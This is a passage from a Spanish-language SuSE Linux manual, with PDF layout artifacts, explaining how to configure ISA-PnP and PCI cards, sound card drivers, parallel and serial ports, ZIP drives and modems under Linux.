tarjeta en cuestión es la controladora SCSI que conecta el disco duro con la partición raíz, es- to podría ocasionar el üc elgue"de la computadora. Si ocurre esto, se debe configurar la tarjeta de tal manera que deje de trabajar como dis- positivo ISA-PnP (en el supuesto que la tarjeta lo soporte). Tal vez se puede prescindir completamente de la inicialización de la tarjeta ba- jo Linux arrancando el sistema con loadlin , por lo tanto la tarjeta ya estaría inicializada antes de entrar a Linux. Problema: Al ejecutar el comando isapnp o al iniciar Linux aparece un mensaje de error parecido al siguiente: * LD setting failed, this may not be a problem. * Try adding (VERIFYLD N) to the top of your script * * Error occured requested `LD2` on or around line 319 * --- further action aborted Solución: Siga el consejo del mensaje de error y añada al comienzo del fichero /etc/isapnp.conf la siguiente línea: (VERIFYLD N) o sea p. ej. : # [...] # (DEBUG) (VERIFYLD N) (READPORT 0x0203) (ISOLATE) (IDENTIFY *) # [...] Problema: Al ejecutar el comando isapnp o al iniciar Linux aparece un mensaje de error parecido al siguiente: [...] /etc/isapnp.conf:66 -- Fatal - resource conflict allocating 16 bytes of IO at 220 (see /etc/isapnp.conf) /etc/isapnp.conf:66 -- Fatal - IO range check attempted while device activated /etc/isapnp.conf:66 -- Fatal - Error occurred executing request ' ' --- further action aborted * * 289 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ Solución: Probablemente hay un conflicto entre los valores seleccionados en /etc/isapnp.conf/ y los usados por la computadora. Coordine la información sobre los recursos usados que se encuentran en /proc con la de /etc/isapnp.conf; esto no es necesario si pnpdump se ha encargado de ello usándolo con la opción -c . ________________________________________________________________________________________________________* *________|| | Algunas veces se pueden presentar problemas cuando está activada la con- * * |||| | * * ||| | figuración automática por parte de la BIOS. En estos casos se debe entrar * * ||| | al ''Setup'' de la BIOS para desactivarla ya que pnpdump e isapnp se en- * * ||| | * * ||| | cargan de la configuración automática. * * ||| |_______________________________________________________________________________________________________* *________|||_ Si los problemas persisten, consulte la documentación completa acerca de paquete isapnp. Esta se encuentra en el directorio /usr/doc/packages/ isapnp. Tomando como ejemplo una tarjeta de sonido, al final de este aparta- do se puede observar de nuevo la configuración de una tarjeta PnP. Tarjetas PCI Las tarjetas PCI normalmente no exigen ninguna configuración por parte del usuario. El acuerdo sobre el estándar del bus PCI trata de suprimir todas las desventajas de los buses anteriores; por eso está directamente prevista la auto-configuración de las tarjetas. Al arrancar la computadora, la BIOS configura todas las tarjetas PCI. Por lo general es posible intervenir en la distribución de las interrupciones con- figurando la BIOS. Linux lee la configuración de los dispositivos PCI direc- tamente de la BIOS y usa estos datos para cualquier información sobre el subsistema PCI. Con el comando tierra:/ # lspci -tv es posible sacar una lista de todos los dispositivos que Linux reconoce en el bus PCI: ________________________________________________________________________________________________________* *________|| | -[00]-+-00.0 Intel Corporation 440BX/ZX - 82443BX/ZX Host bridge * * | | +-01.0-[01]----00.0 Nvidia Corporation Riva TNT * * | | +-04.0 Intel Corporation 82371AB PIIX4 ISA * * | | +-04.1 Intel Corporation 82371AB PIIX4 IDE * * | | +-04.2 Intel Corporation 82371AB PIIX4 USB * * | | * * | | +-04.3 Intel Corporation 82371AB PIIX4 ACPI * * | | +-06.0 Adaptec 7890 * * | | 09.0 Digital Equipment Corporation DECchip 21140 [FasterNet] * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 10.2.1: Salida en pantalla del comando lspci -tv El siguiente apartado trata sobre la configuración de una tarjeta de sonido para bus PCI. 10.3 Tarjetas de sonido Actualmente se ofrecen tarjetas de sonido con bus ISA y PCI. Los del tipo PCI están reemplazando a los del tipo ISA y se puede suponer que las tarjetas ISA desaparecerán completamente del mercado dentro de un tiempo. 290 ______________________________________________________________________________________________10.3.__Tarjetas_de_sonido_____* *______________________ En SuSE Linux hay dos posibilidades para soportar las tarjetas de sonido. Por una parte es posible instalar el paquete opso o el paquete opsod_up (versión de demostración) o bien para máquinas multiprocesador el paquete opso_smp (también de demostración), todos de la serie pay. La alternativa es el uso de los módulos de kernel para el soporte de tarjetas de sonido. 10.3.1 OSS y versiones de demostración de OSS Estos dos paquetes son ideales para la configuración de tarjetas de sonido de los tipos ISA o ISA-PnP. El paquete opso o el paquete opso_smp, que forman parte de SuSE Linux, ya estan registrados para los clientes de SuSE y por tanto tienen plena funcionalidad. El paquete opsod_up y el paquete opsod_smp no estan registrados y su función se reduce a 20 minutos. Para usar el driver de sonido OSS, proceda de la siguiente forma: o Use YaST para instalar un de los paquetes mencionados de la serie pay. o Entre como superusuario `root' al directorio /tmp e inicie allí el pro- grama oss-install : tierra:/ # cd /tmp/opso-3.8.1z tierra:/tmp/opso-3.8.1z # ./oss-install o El programa le guía paso por paso por la instalación del driver. o Cuando la instalación finaliza se puede usar el comando tierra:/tmp/opso-3.8.1z # soundon para cargar y usar los drivers OSS. El siguiente párrafo explica cómo se realiza el soporte de sonido con módulos de kernel. 10.3.2 ¿Cómo se configuran las tarjetas de sonido bajo Linux? Para usar una tarjeta de sonido en Linux, se deben seguir los siguientes pasos: o Identificar la tarjeta: ~ ¿Cuál tarjeta se debe configurar (Fabricante, Chip en la tarjeta)? ~ ¿Qué tipo de bus se usa (ISA, ISA-PnP, PCI)? o Configuración del hardware: ~ Configuración de los jumper, o configuración con las isapnp-Tools. o Instalación/Carga del driver: ~ Carga de los módulos de kernel , o inicio del driver de OSS . A continuación se detallan los pasos expuestos arriba. o Identificación del hardware: ~ Tarjetas de sonido tipo ISA-bus Legacy Estas tarjeta se usan aún en computadoras ''antiguas''. Se configuran mediante una serie de ''jumpers'' en la misma tarjeta, asignando así los recursos (dirección E/S (ingl. I/O-Port), IRQs y DMAs) de forma definida. * * 291 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ ~ Tarjetas de sonido tipo ISA-bus PnP Las tarjetas de este tipo son similares a las del tipo Legacy con la diferencia de que los recursos (dirección E/S (ingl. I/O-Port), IRQs y DMAs) se configuran mediante una interface por software. De este modo no hay que mover ''jumpers'' en la tarjeta. ~ Tarjetas de sonido tipo PCI-bus Estas tarjetas son las más fáciles de configurar, ya que la computadora las configura automáticamente. A través de una interface por software, los driver pueden consultar la configuración de las tarjetas. o Configuración del hardware: ~ Tarjetas de sonido tipo ISA-bus Legacy: Según las capacidades de la tarjeta de sonido se precisa la configu- ración de distintos recursos. En el siguiente ejemplo se configura una Creative Soundblaster 16: I/O-ports Las siguientes direcciones E/S (I/O-ports)son importantes: * Audio I/O * Game Port * MPU-401 * FM-Synthese Solo se puede modificar las direcciones para Audio I/O (0x220, 0x240, 0x260 o 0x280) y MPU-401 (0x300 o 0x330); las direcciones para Game-Port (0x200) o FM-Synthese (0x388) son fijas. Interrupciones (IRQs) La tarjeta necesita una interrupción propia que se puede fijar en 2, 5, 7 ó 10. Canales-DMA Es posible usar los canales 0, 1, 3, 5, 6 ó 7. Los valores predetermina- dos son DMA 1 para la transferencia de datos de 8-Bit- y DMA 5 para 16-Bit. Ahora hay que poner los ''jumpers'' en la tarjeta de tal modo que ésta no provoque conflictos (usando los mismos recursos). Es conveniente anotar la configuración. ~ Tarjetas de sonido tipo ISA-bus PnP: Los recursos de estas tarjetas se han de configurar mediante software especial. Usar OSS agiliza mucho la configuración de las tarjetas PnP, ya que este programa busca automáticamente las tarjetas y direc- tamente las configura. Se pueden usar las tarjetas PnP también con los módulos del kernel. Para realizarlo se precisa la inicialización de la tarjeta antes de la car- ga del módulo. De esto se encarga en Linux el paquete isapnp. El programa pnpdump genera un fichero de configuración que desglosa todos los recursos de las tarjetas PnP en la computadora. Para dis- tribuir los recursos de manera diferente, se puede editar este fichero manualmente. 292 ______________________________________________________________________________________________10.3.__Tarjetas_de_sonido____________* *_______________ Con el comando tierra:/ # pnpdump -c > /etc/isapnp.conf se genera el fichero /etc/isapnp.conf. En el siguiente ejemplo se activa una tarjeta Creative Soundblaster AWE64: # This is free software, see the sources for details. # This software has NO WARRANTY, use at your OWN RISK # # For details of this file format, see isapnp.conf(5) # # For latest information and FAQ on isapnp and pnpdump see: # http://www.roestock.demon.co.uk/isapnptools/ # # Compiler flags: -DREALTIME -DNEEDSETSCHEDULER -DABORT_ONRESERR # # Trying port address 0203 # Trying port address 020b # Board 1 has serial identifier 54 17 0e db 74 9e 00 8c 0e # (DEBUG) (READPORT 0x020b) (ISOLATE PRESERVE) (IDENTIFY *) (VERBOSITY 2) (CONFLICT (IO FATAL)(IRQ FATAL)(DMA FATAL)(MEM FATAL)) # or WARNING # Card 1: (serial identifier 54 17 0e db 74 9e 00 8c 0e) # Vendor Id CTL009e, Serial Number 386849652, checksum 0x54. # Version 1.0, Vendor version 2.0 # ANSI string -->Creative SB AWE64 Gold<-- # # Logical device id CTL0044 # Device supports vendor reserved register @ 0x38 # Device supports vendor reserved register @ 0x3a # Device supports vendor reserved register @ 0x3b # Device supports vendor reserved register @ 0x3c # Device supports vendor reserved register @ 0x3d # # Edit the entries below to uncomment out the configuration required. # Note that only the first value of any range is given, this may be changed if # required # Don't forget to uncomment the activate (ACT Y) when happy (CONFIGURE CTL009e/386849652 (LD 0 # ANSI string -->Audio<-- # Multiple choice time, choose one only ! # Start dependent functions: priority preferred # IRQ 5. # High true, edge sensitive interrupt (by default) (INT 0 (IRQ 5 (MODE +E))) # First DMA channel 1. # 8 bit DMA only # Logical device is not a bus master # DMA may execute in count by byte mode # DMA may not execute in count by word mode # DMA channel speed in compatible mode (DMA 0 (CHANNEL 1)) 293 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ # Next DMA channel 5. ## 16LobitgiDMAcaonlyl device is not a bus master # DMA may not execute in count by byte mode # DMA may execute in count by word mode # DMA channel speed in compatible mode (DMA 1 (CHANNEL 5)) # Logical device decodes 16 bit IO address lines # Minimum IO base address 0x0220 # Maximum IO base address 0x0220 # IO base alignment 1 bytes # Number of IO addresses required: 16 (IO 0 (SIZE 16) (BASE 0x0220)) # Logical device decodes 16 bit IO address lines # Minimum IO base address 0x0330 # Maximum IO base address 0x0330 # IO base alignment 1 bytes # Number of IO addresses required: 2 (IO 1 (SIZE 2) (BASE 0x0330)) # Logical device decodes 16 bit IO address lines # Minimum IO base address 0x0388 # Maximum IO base address 0x0388 # IO base alignment 1 bytes # Number of IO addresses required: 4 (IO 2 (SIZE 4) (BASE 0x0388)) # End dependent functions (NAME "CTL009e/386849652[0]{Audio }") (ACT Y) )) # # Logical device id CTL7002 # Device supports vendor reserved register @ 0x39 # Device supports vendor reserved register @ 0x3a # Device supports vendor reserved register @ 0x3b # Device supports vendor reserved register @ 0x3c # Device supports vendor reserved register @ 0x3d # # Edit the entries below to uncomment out the configuration required. # Note that only the first value of any range is given, this may be changed if # required # Don't forget to uncomment the activate (ACT Y) when happy (CONFIGURE CTL009e/386849652 (LD 1 # Compatible device id PNPb02f # ANSI string -->Game<-- # Multiple choice time, choose one only ! # Start dependent functions: priority preferred # Logical device decodes 16 bit IO address lines # Minimum IO base address 0x0200 # Maximum IO base address 0x0200 # IO base alignment 1 bytes # Number of IO addresses required: 8 (IO 0 (SIZE 8) (BASE 0x0200)) # End dependent functions (NAME "CTL009e/386849652[1]{Game }") (ACT Y) )) 294 ______________________________________________________________________________________________10.3.__Tarjetas_de_sonido_______* *____________________ # ## LogicalDedeviceviidceCTL0023supports vendor reserved register @ 0x38 # Device supports vendor reserved register @ 0x3a # Device supports vendor reserved register @ 0x3b # Device supports vendor reserved register @ 0x3c # Device supports vendor reserved register @ 0x3d # # Edit the entries below to uncomment out the configuration required. # Note that only the first value of any range is given, this may be changed if # required # Don't forget to uncomment the activate (ACT Y) when happy (CONFIGURE CTL009e/386849652 (LD 2 # ANSI string -->WaveTable<-- # Multiple choice time, choose one only ! # Start dependent functions: priority preferred # Logical device decodes 16 bit IO address lines # Minimum IO base address 0x0620 # Maximum IO base address 0x0620 # IO base alignment 1 bytes # Number of IO addresses required: 4 (IO 0 (SIZE 4) (BASE 0x0620)) (IO 1 (BASE 0x0a20)) (IO 2 (BASE 0x0e20)) # End dependent functions (NAME "CTL009e/386849652[2]{WaveTable }") (ACT Y) )) # End tag... Checksum 0x00 (OK) # Returns all cards to the "Wait for Key" state (WAITFORKEY) ~ Tarjetas de sonido tipo PCI-bus: La configuración de las tarjetas de sonido PCI es muy sencilla ya que la computadora las configura automáticamente y distribuye correcta- mente los recursos de las distintas tarjetas. A través de una interface por software, los drivers pueden consultar la configuración de las tar- jetas. o Instalación y carga de los módulos: El último paso de la configuración es transmitir información sobre la configuración del hardware a los módulos. Esto se consigue mediante entradas en el fichero /etc/modules.conf. ~ Tarjetas ISA y PnP: SuSE Linux incorpora módulos precompilados para las tarjetas que soporta el kernel, los cuales se encuentran en el paquete kernmod. Después de instalar las fuentes del kernel (paquete lx_suse) el di- rectorio /usr/src/linux/Documentation/sound contendrá infor- mación acerca de los módulos. En el fichero /etc/modules.conf hay que controlar que los ''alias'' que corresponden a ''Sound'' no estén en off . Si este fuera el caso * * 295 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ habría que comentar estos alias, anteponiendo el símbolo `#', tal co- mo se muestra en el fichero 10.3.1 en la página 299Carga automática de los módulos de kernelItem.199. Si se posee p. ej. una tarjeta de la familia de las Soundblaster 16 , el comando de la siguiente línea sirve para cargar los drivers para todas las funciones de la tarjeta (audio, MPU401 y sintetizador): tierra:/ # modprobe sb io=0x0220 irq=5 dma=1 dma16=5 mpu_io=0x0330 El comando carga el driver para la Soundblaster 16, que se puede usar también para la AWE64. El driver para el MPU401 forma parte del driver de la Soundblaster. Posteriormente se cargan automáticamente los módulos uart401 , sound , soundlow y soundcore . Estos módulos representan algunos drivers de bajo nivel y contienen las funciones comunes de todos los módulos de sonido. El siguiente comando, tierra:/ # lsmod permite verificar si todos los módulos están realmente cargados. El siguiente comando carga el módulo para el sintetizador que incluye la tarjeta: tierra:/ # modprobe adlib_card io=0x0388 Los drivers actualmente disponibles se muestran en la tabla 10.1 en la página siguiente. En el capítulo sobre los parámetros del kernel (apartado 14.3.4 en la página 373Parámetros de modprobe subsection.14.3.4) hay una lista de los parámetros admitidos para cada módulo. o Tarjetas PCI A continuación las instrucciones por pasos para la configuración de tarje- tas PCI, tomando como ejemplo una Creative Soundblaster PCI 64/128: Las tarjetas de sonido Soundblaster PCI 64/128 están equipados con chips del tipo Ensoniq ES1370 o ES1371. 1. Compruebe el serigrafiado de los chips para confirmar que se trata de chips del tipo ES1370 o ES1371. Instale la tarjeta en la computadora;- ) 2. Modifique /etc/modules.conf. Alrededor de la línea 38 se encuen- tran las siguientes entradas: alias char-major-14 off alias sound off alias midi off Modifique estas líneas de la siguiente manera: # alias char-major-14 off # alias sound off # alias midi off A partir de la línea 100 comienza la configuración de los módulos para la tarjeta de sonido. Debe cambiar: # alias char-major-14 es1370 a 296 ______________________________________________________________________________________________10.3.__Tarjetas_de_sonido________* *___________________ _______________________________________________________________________________________________________________________ ad1816.o AD1816 Chip (p. ej. TerraTec Base1/64) ad1848.o AD1848 Chip (MSS) adlib_card.o Driver genérico para OPLx cmipci.o CMI8338, experimental (?) cs4232.o Crystal 423x chipsets es1370.o Ensoniq 1370 chipset (ver PCI64/128) es1371.o Creative Ensoniq 1371 chipset (ver PCI64/128) esssolo1.o Solo1 ES1938/ES1969 gus.o Gravis Ultrasound mad16.o MAD16 maui.o Turtle Beach Maui and Tropez mpu401.o MPU401 msnd.o Turtle Beach MultiSound msnd_classic.o Turtle Beach Classic/Monterey/Tahiti msnd_pinnacle.o Turtle Beach Pinnacle/Fiji nm256.o Neo Magic opl3.o OPL3 opl3sa.o OPL3-SA1 opl3sa2.o YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx pas2.o Pro Audio Spectrum pss.o Personal Sound System (ECHO ESC614) sb.o Sound Blaster y clónicos sgalaxy.o Aztech Sound Galaxy softoss2.o Driver de Software-MIDI-sintetizador sonicvibes.o S3 Sonic Vibes sound.o Funciones necesarias para todos los módulos soundlow.o Lowlevel-sounddriver soundcore.o Top Level-Handler para sistema de sonido sscape.o Ensoniq SoundScape trix.o MediaTrix AudioTrix Pro uart401.o UART401 uart6850.o UART6850 v_midi.o Sound Blaster DSP chips wavefront.o Turtle Beach Maui, Tropez, Tropez Plus _______________________________________________________________________________________________________________________ Tabla 10.1: Lista de los drivers para tarjetas de sonido alias char-major-14 es1370 quitando el símbolo de comentario. Si el chip de la tarjeta es un ES1371 proceda de manera similar, con la diferencia de editar la siguiente entrada para el módulo es1371.o (aquí no se observa este paso). 3. Inicie el mezclador de sonido. El comando lsmod debe resultar ahora en: * *297 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ | Module Size Used by * * | | * * | | es1370 21748 1 (autoclean) * * | | soundcore 2084 4 (autoclean) [es1370] * * | | ... * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 10.3.1: Resultado del comando lsmod 4. Si esto no funciona en el primer momento, intente nuevamente con depmod -a nochmal. 5. Ahora puede usar kscd, x11amp u otro programa parecido para hacer sonar la computadora. Es IMPRESCINDIBLE tener en cuenta el ajuste del mezclador, ya que por más que se use un driver de sonido, éste no sirve si todos los canales están en volumen cero;-) KDE no reconoce automáticamente las tarjetas que usan el módulo es1370.o o es1371.o, porque estos módulos no ponen a disposición el fichero de dispositivo /dev/sndstat. Para conseguir sonido en el en- torno KDE es necesario modificar el fichero /opt/kde/bin/startkde en la siguiente forma: Hay que buscar las líneas startifaudio kaudioserver startifaudio kwmsound y modificarlas a kaudioserver & kwmsound & La tarjeta de sonido Creative Soundblaster Live! está soportada por un driver especial desarrollado por Creative Labs. Para usarlo se in- stala con YaST el paquete emu10k1 de la serie snd. Las instrucciones adicionales se encuentran en el fichero /usr/doc/packages/emu10k1/ README.SuSE. Comprobar que todo funcione: Todos los módulos están cargados y ahora se quiere comprobar si realmente se reproduce el sonido. Para ello se usa el siguiente comando (después de la carga del módulo de sonido): tierra:/ # cat /dev/sndstat En el caso de la Soundblaster 16 el resultado debe parecerse al salida en pantalla 10.3.2 en la página siguiente. Si realmente se obtiene una respuesta semejante, se puede tratar de reproducir un fichero de audio (hay algunos de estos ficheros p. ej. en la serie snd del paquete snd_au, paquete snd_wav y paquete snd_mod): tierra:/ # cat /usr/share/sounds/au/swedish.au > /dev/audio tierra:/ # cat /usr/share/sounds/wav/applause.wav > /dev/dsp tierra:/ # tracker /usr/share/sounds/mod/rebels.mod El programa kmid de KDE permite reproducir cómodamente ficheros del tipo Midi, en caso de que la tarjeta lo soporte. 298 _______________________________________________________________________10.4.__Las_interfaces_de_la_computadora______________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| [...] | |||||||||Audio devices: || |||||||| 0: Sound Blaster 16 (4.13) (DUPLEX) | |||||||| Synth devices: | |||||||| | |||||||| 0: Yamaha OPL3 | |||||||| Midi devices: | |||||||| | |||||||| 0: Sound Blaster 16 | |||||||| Timers: | |||||||| | |||||||| 0: System clock | |||||||| Mixers: | |||||||| 0: Sound Blaster | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 10.3.2: Resultado del comando cat /dev/sndstat Si no se escucha nada, aunque cat /dev/sndstat muestra un resultado cor- recto y cat mysong.au > /dev/audio no presenta ningún error, se puede tratar de iniciar el mezclador de audio del panel de KDE; también es posible que el volumen esté un poco bajo. Carga automática de los módulos de kernel Si no hay duda en que los drivers existentes soportan completamente la tarje- ta, se puede proceder a modificar el fichero /etc/conf.modules, para que los módulos se carguen automáticamente. Para la Soundblaster 16 se tendría que poner p. ej. las entradas que figuran en el fichero 10.3.1. _______________________________________________________________________________________________________________________|| |||||||| # alias char-major-14 off | |||||||| # alias sound off | |||||||| | |||||||| # alias midi off | |||||||| | |||||||| | |||||||| alias char-major-14 sb | |||||||| post-install sb /sbin/modprobe "-k" "adlib_card" | |||||||| | |||||||| options sb io=0x0220 irq=7 dma=1 dma16=5 mpu_io=0x0330 | |||||||| options adlib_card io=0x0388 # FM synthesizer | ||||||||_______________________________________________________________________________________________________________ | Fichero 10.3.1: /etc/conf.modules : Opciones para módulos de sonido En general no hay ninguna regla que diga cuál tarjeta de sonido tiene cuál función, por lo tanto se debe averiguar esto en la documentación de la tarje- ta y con la información en /usr/src/linux/Documentation/sound para saber cuáles módulos hace falta cargar. Las fuentes de los drivers en /usr/ src/linux/drivers/sound contienen muchos consejos y actualmente ex- isten muchas entradas predefinidas en /etc/conf.modules que se pueden usar y adaptar. En lugar de cargar los módulos mediante /etc/conf.modules, se pueden cargar también incorporando los comandos modprobe en el fichero /sbin/ init.d/boot.local (ver apartado 17.4 en la página 434Los Init-scriptssection.17.4). 10.4 Las interfaces de la computadora * * 299 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ 10.4.1 Conexiones PS/2 Las conexiones del tipo PS/2 fueron desarrolladas por IBM para sus sistemas PS/2. Ultimamente se han extendido debido al estándar ATX y están desti- nadas a la conexión de teclado y mouse. Bajo Linux no hace falta configurar las conexiones PS/2 ya que el soporte para ello está incorporado en el kernel. Linux reconoce automáticamente los dispositivos con conexión PS/2 y los representa mediante los ficheros de dispositivo path/dev/kbd y /dev/psaux. 10.4.2 Conexiones de puerto serie Los puertos serie (RS232) se utilizan con frecuencia para modems externos, pero sirven también para la conexión de un mouse con esta interface. Para soportar estos puertos, Linux necesita el módulo de kernel serial.o. Este módulo se carga automáticamente cuando se pretende acceder a dispos- itivos que usan esta conexión. Si p. ej. el acceso a Internet está configurado con un modem en COM1 , el módulo se carga automáticamente en el momento de establecer la conexión al proveedor. El programa setserial permite modificar la configuración del puerto serie y de hecho se ejecuta en cada arranque de sistema por medio del script /sbin/ init.d. La página de manual de setserial expone detalles sobre el programa. Los puertos serie se representan por los fichero de dispositivo /dev/ttyS0, /dev/ttyS1, etc. 10.4.3 Conexiones de puerto paralelo El puerto paralelo se usa sobre todo para la conexión de impresoras, pero también sirve para conectar unidades externas como ZIP o lectores CD-Rom. El sub-sistema ''Parport'' del kernel actual, versión 2.2.xx, está diseñado para utilizar varios dispositivos simultáneamente en el puerto paralelo1 . Una apli- cación es p. ej. una cadena formada por una unidad iomega ZIP y una impre- sora, con la impresora conectada al ZIP. Inicializar parport Se necesitan los soportes parport y parport_pc del kernel2 . El verdadero sub-sistema del kernel es parport , mientras que parport_pc se encarga de la integración del puerto paralelo en el PC, encargándose también de algunas computadoras AXP. El comando tierra: # modprobe parport_pc permite cargar los módulos manualmente. Para comprobar si el puerto fue encontrado y configurado, use el comando lsmod ; en la lista de los módu- los cargados deben aparecer parport y parport_pc . También es posible repasar el fichero /var/log/messages para ver los valores con los que se inicializó_parport_______(ver_fichero_10.4.1_en la página siguiente). 1 Con el kernel ''antiguo'' solo se puede usar un dispositivo en un mismo instante en un puerto paralelo; normalmente tampoco se pueden colocar los dispositivos en cadena. 2 ¡No hace falta compilar un kernel propio, ya que SuSE Linux incorpora los módulos precom- pilados! 300 _______________________________________________________________________10.4.__Las_interfaces_de_la_computadora______________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| Jun 3 09:15:53 tux kernel: parport0: PC-style at 0x378 [SPP, | |||||||||__________________________________________________________________________________________________ECP]________ || Fichero 10.4.1: /var/log/messages : Inicialización del parport Las entradas en el fichero 10.4.2, representan la configuración de la inter- faz; las entradas deshabilitadas por el símbolo de comentario indican cómo incorporar un puerto paralelo adicional. _______________________________________________________________________________________________________________________|| |||||||| alias parport_lowlevel parport_pc | |||||||| options parport_pc io=0x378 irq=none | |||||||| | |||||||| | |||||||| # If you have multiple parallel ports, specify them this way: | |||||||| # options parport_pc io=0x378,0x278 irq=none,none | ||||||||_______________________________________________________________________________________________________________ | Fichero 10.4.2: /etc/conf.modules : Configuración de parport _______________________________________________________________________________________________________________________|| |||||||| Si se presenta alguna dificultad lo mejor es comprobar primero cómo está ||| | |||||||| || | |||||||| definido el puerto en la BIOS. Este debería tener una dirección de memoria || | |||||||| explícita (lo mejor es 0x378 ) y una interrupción propia. En lo posible se || | |||||||| || | |||||||| deben evitar ajustes del tipo ''auto''. || | ||||||||_______________________________________________________________________________________________________________||_ Algunas veces es importante el orden en el cual se encienden los dispositivos (consultar los manuales de los aparatos). Un buen procedimiento es el de encender primero la computadora e inmediatamente después ~ antes de que comience el arranque ~ los dispositivos externos. Usar parport : Impresora, unidad ZIP, PLIP etc. Para usar entonces un dispositivo conectado al puerto paralelo, es preciso cargar el módulo correspondiente; en el caso de la impresora es el módulo lp : tierra: # modprobe lp Ahora el comando lsmod debería resultar como aparece en el Mensaje en pantalla 10.4.1 _______________________________________________________________________________________________________________________ |||||||| parport_pc 5568 1 (autoclean) | |||||||| | |||||||| parport 6884 1 [parport_pc lp] | |||||||| lp 5116 0 (unused) | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 10.4.1: Resultado del comando lsmod . También para la carga de los módulos es posible conseguir más informa- ción mediante las entradas en el fichero /var/log/messages y en el sis- tema de ficheros proc bajo /proc/parport. Si todo funciona correcta- mente, (ver el apartado 13.2 en la página 351Kmod ~ el ''Kernel Module Loader''section.13.2), kmod se ocupa de cargar automáticamente los módu- los, p. ej. cuando se lanza una tarea de impresión, así que no hace falta car- garlos manualmente. * * 301 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ Las unidades iomega-ZIP funcionan ya sea con el módulo ppa o bien con imm (ver el apartado 10.5.3 en la página siguiente). Información adicional Los ficheros parport.txt y paride.txt del directorio /usr/src/linux/ Documentation en las fuentes del kernel, ofrecen más información al re- specto. Bajo http://www.torque.net/linux-pp.html o http://www.torque. net/parport/, hay información sobre el estado actual del parport . 10.4.4 USB ~ Universal Serial Bus El USB (Universal Serial Bus) es una de las grandes novedades de los últimos años. Es posible conectar muchos dispositivos como p. ej. teclado, mouse, impresora o escáner de forma sencilla. Todos los dispositivos tienen el mis- mo enchufe y se conectan con el mismo cable. Así se evita tener muchos cables diferentes como RS232 o Centronics. Además es posible conectar dispositivos durante el uso de la computadora sin necesidad de reiniciar; la especificación del bus ya contempla esta posibilidad. Lamentablemente el soporte de USB aún no está desarrollado por completo para Linux. Por eso no es posible usar dispositivos del tipo USB en Linux. Bajo http://www.linux-usb.org/ se encuentra más información sobre la implementación de USB en Linux. 10.5 Unidades de almacenamiento removibles Con Linux se pueden usar muchas unidades de disco removibles: Dis- queteras, Unidades iomega-Zip, JAZ-Drives, discos SyQuest, unidades magneto-ópticas ~ todo es posible. 10.5.1 Disqueteras Para poder acceder cómodamente a diquetes formateados en MS-DOS, se desarrolló el paquete mtools. El apartado 19.12 en la página 486Comandos DOS bajo Unix usando mtools section.19.12, informa sobre las posibilidades y el uso de estos programas. Los disquetes en formato ext2 o minix también se pueden usar, tal como muchos otros sistemas de fichero. Es preciso incorporar estos disquetes al sistema de ficheros mediante el comando mount ; hay más detalles en el apartado 19.11 en la página 484Sistemas de fichero en Linux ~ mount y umount section.19.11. 10.5.2 Disqueteras LS-120 Las disquetera del tipo LS-120 se conectan a la controladora IDE y por tanto el sistema las trata como discos duros. Hay que incorporarlas al igual que los discos duros con el comando mount al sistema de ficheros. 302 ___________________________________________________________10.5.__Unidades_de_almacenamiento_removibles_____________________* *______________________ 10.5.3 Disqueteras ZIP Hay disqueteras ZIP para distintas interfaces: Puerto paralelo, IDE, SCSI y ahora también para el USB (actualmente aún no está soportado). No se requiere ningún driver especial para los ZIPs del tipo SCSI o IDE; se conectan al bus correspondiente y los drivers para IDE o SCSI las reconocen. Después se accede a los dispositivos a través de los ficheros de dispositivo /dev/hda - /dev/hdd para IDE (ATAPI) y /dev/sda - /dev/sdm para SCSI En este caso también hay que usar mount para montar los dispositivos. La inicialización del mismo aparato con interfaz de puerto paralelo a veces resulta un poco más complicada, ya que se necesita el soporte de discos duros SCSI, el soporte parport y parport_pc (ver el apartado 10.4.3 en la página 300Conexiones de puerto paralelosubsection.10.4.3) tal como los drivers de kernel ppa y imm 3 . imm soporta las unidades más recientes (p. ej. el ZIP 250), por lo tanto es preferible tratar de cargar primero imm . Asegure que el modo de trabajo del puerto paralelo esté configurado como EPP (a configurar en la BIOS): tierra: # modprobe imm Si esto no funciona, se puede probar con ppa : tierra: # modprobe ppa De esta forma el sub-sistema parport debería inicializarse automáti- camente. Si no funciona, consulte primero en la página 300Inicializar parport Hfootnote.47. A veces una entrada en /etc/conf.modules es suficiente para que to- do funcione (ver fichero 10.5.1). Solo se puede definir un alias para scsi_hostadapter si la computadora no tiene ninguna controladora SC- SI real. Una alternativa sería incorporar los comandos modprobe necesarios en el script de arranque /sbin/init.d/boot.local (ver el apartado 17.4 en la página 434Los Init-scriptssection.17.4). _______________________________________________________________________________________________________________________|| |||||||| # alias scsi_hostadapter ppa | |||||||| pre-install ppa modprobe "-k" parport_pc | ||||||||_______________________________________________________________________________________________________________ | Fichero 10.5.1: /etc/conf.modules : Configuración ppa Ahora se puede acceder a los disquetes ZIP así como a discos duros SCSI, por lo tanto también es necesario montar este medio (ver el apartado 19.11.2 en la página 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2). 3 ____________________________________________________ ppa y imm forman parte de los ''SCSI low-level drivers'' en el menú de configuración del kernel, sin embargo no hace falta generar un kernel propio, ya que los módulos necesarios están precompilados como parte de SuSE Linux. * * 303 10. Linux y el hardware_adicional_________________________________________________________________________________________________* *_______________________________________@ 10.6 Modems 10.6.1 Modem externo Los modems externos se conectan directamente al puerto serie de la computa- dora. Los programas se comunican entonces con el modem a través de uno de los ficheros de dispositivo /dev/ttyS0, /dev/ttyS1, etc. La configu- ración del acceso a Internet con un modem se detalla en el apartado 6.5 en la página 189Conexión de modemsection.6.5. 10.6.2 Modem interno Los modem internos se conectan bien con el bus PCI o bien con el bus ISA, así como se explica con más detalle en el apartado 10.2 en la página 287Tarjetas de 